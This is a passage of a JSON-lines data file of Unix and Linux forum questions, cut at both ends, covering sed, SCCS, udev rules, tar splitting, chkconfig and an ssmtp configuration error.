the last match for a pattern and insert immediately after it. It's very unlikely that this would be the last line in the file. I've seen a number of solutions that employ multiple piped calls to sed or use other tools such as tac. These are not appropriate - I need a pure sed solution that can be embedded inside a larger script that makes other changes to the same file. I've been searching for a while but suspect it isn't possible. I thought I'd ask on here before giving up! In case specifics help explain, I want to locate the last \"Include\" directive in an Apache http.conf file and insert another one beneath the last one."} {"_id": "101487", "title": "how to install HAL on Puppy Linux barebone 5.7.1", "text": "On other linux distros I have to install `hal` for certain flash player videos to work. youtube works fine with the adobe flash. Just can't find anything on installing `hal` in puppy linux."} {"_id": "101484", "title": "unable to create SCCS file", "text": "I am working on Ubuntu13.04. I created a file named quit.c I am trying check- in this file in to its SCCS file, s.quit.c I am creating the SCCS file as below using `admin` command: ravbholua@ravbholua-Aspire-5315:~/CCPP/HelloWorld/das/das1/sccs$ admin -i quit.c s.quit.c admin: quit.c is an invalid name. SCCS file names must begin `s.' admin: The 'i' keyletter can't be used with multiple files. ravbholua@ravbholua-Aspire-5315:~/CCPP/HelloWorld/das/das1/sccs$ I think the syntax has changed from what it was earlier. Is it so? How to create the SCCS file for check-in?"} {"_id": "106669", "title": "udev GROUP and MODE assignments on symbolic link have no effect", "text": "I'm trying to connect my velleman k8055 board per usb to my pc. For this I have the udev rule SUBSYSTEM !=\"usb_device\", ACTION !=\"add\", GOTO=\"velleman_rules_end\" ATTRS{idVendor}==\"10cf\", ATTRS{idProduct}==\"5500\", MODE=\"0660\", GROUP=\"k8055\", SYMLINK+=\"k8055_0\" ATTRS{idVendor}==\"10cf\", ATTRS{idProduct}==\"5501\", MODE=\"0660\", GROUP=\"k8055\", SYMLINK+=\"k8055_1\" ATTRS{idVendor}==\"10cf\", ATTRS{idProduct}==\"5502\", MODE=\"0660\", GROUP=\"k8055\", SYMLINK+=\"k8055_2\" ATTRS{idVendor}==\"10cf\", ATTRS{idProduct}==\"5503\", MODE=\"0660\", GROUP=\"k8055\", SYMLINK+=\"k8055_3\" LABEL=\"velleman_rules_end\" from jeremyz's k8055 github repo. After plugging the board in, I even get the k8055_0 symlink, but it's rights are root:root. But I want that users from the group k8055 can access this link (which is not possible with root:root permissions)."} {"_id": "128809", "title": "Execute script after period of inactivity", "text": "I'm looking for a way to execute certain script after period of inactivity and after completion of that period. By 'inactivity' I mean lack of mouse and keyboard events. E.g. I want: 1. execute first script after X min. of inactivity; 2. execute second script when that period is interrupted by mouse or keyboard. It will be best if that method will not be tied to the X-system and also will work in terminal (when X is not started)."} {"_id": "128808", "title": "Making tar split archives as it compresses?", "text": "I want to compress a file with `tar` but I'd like to know if its possible to do it while splitting the files. I know that in windows is possible to do this with winrar, I also know I can use `split` but I would then have to unsplit this from Linux"} {"_id": "135000", "title": "Is there a command line method by which I can check whether a downloaded file is complete or broken?", "text": "I'm writing a script that involves downloading and manipulating a file, and I want to ensure that the file is not incomplete (due to e.g. a dropped connection) before I work on it."} {"_id": "135003", "title": "what does `-t` option of named command stands for?", "text": "What does `-t` option of `named` stands for? It looks like `-d` is already taken by `debug-level`, but where is the `t` come from? Is it from `chrooT`?"} {"_id": "60522", "title": "Boot - How does unix or linux boot?", "text": "How does the linux bootup process work? What is the file that is executed by the machine first to initialize all files and folders, like android, android use manifest for initializing?"} {"_id": "135007", "title": "How to return either \"on\" or \"off\" for: chkconfig --list | grep httpd", "text": "To ensure httpd is automatically started on reboot. I simply run this command chkconfig httpd on what I am looking for is a way to be told if this setting is on or off instead of this command chkconfig --list | grep httpd which returns this httpd 0:off 1:off 2:off 3:off 4:off 5:off 6:off I understand about the levels but really what I need is on or off so I can insert it onto a script and visually see on or off daily rather than something complex as above."} {"_id": "135009", "title": "ssmtp: Cannot open mail:25", "text": "I've installed ssmtp and then edited the ssmtp.conf file so could try sending a mail but says cannot open mail:25 however in the conf file I set it to gmail port 467 and I am pretty sure everything else is right. What specifically do I need to look for with this error or could it be any number of settings in and outside of the configuration file? # # /etc/ssmtp.conf -- a config file for sSMTP sendmail. # # See the ssmtp.conf(5) man page for a more verbose explanation of the # available options. # # The person who gets all mail for userids < 500 # Make this empty to disable rewriting. root=postmaster # The place where the mail goes. The actual machine name is required # no MX records are consulted. Commonly mailhosts are named mail.domain.com # The example will fit if you are in domain.com and your mailhub is so named. mailhub=mail # Example for SMTP port number 2525 mailhub=smtp.gmail.com:465 # Example for SMTP port number 25 (Standard/RFC) # mailhub=mail.your.domain # Example for SSL encrypted connection # mailhub=mail.your.domain:465 # Where will the mail seem to come from? #RewriteDomain= # The full hostname #Hostname= # Set this to never rewrite the \"From:\" line (unless not given) and to # use that address in the \"from line\" of the envelope. #FromLineOverride=YES # Use SSL/TLS to send secure messages to server. UseTLS=YES UseSTARTTLS=YES AuthUser=user@gmail.com AuthPass=xxxxxx # Use SSL/TLS certificate to authenticate against smtp host. #UseTLSCert=YES # Use this RSA certificate. #TLSCert=/etc/pki/tls/private/ssmtp.pem TLS_CA_File=/etc/pki/tls/certs/ca-bundle.crt # Get enhanced (*really* enhanced) debugging information in the logs # If you want to have debugging of the config file parsing, move this option # to the top of the config file and uncomment #Debug=YES Interestingly all the files in `/etc/pki/tls/certs/` are the exact same ones I deleted in my /etc/ssl folder! haha Now I know a certain amount of business happened when creating an untrusted cert."} {"_id": "154191", "title": "Is it possible to login to a Linux machine with AD credentials without the machine beeing member of the AD?", "text": "I'm asking because as far as I know this is not possible with Windows machines since it's mandatory that a Windows machine is known to the AD in order to login with AD credentials. Is it possible to achieve that with Linux machines through LDAP?"} {"_id": "58138", "title": "How do I better read man pages?", "text": "How do I search `man` pages for options? I currently do this: `/-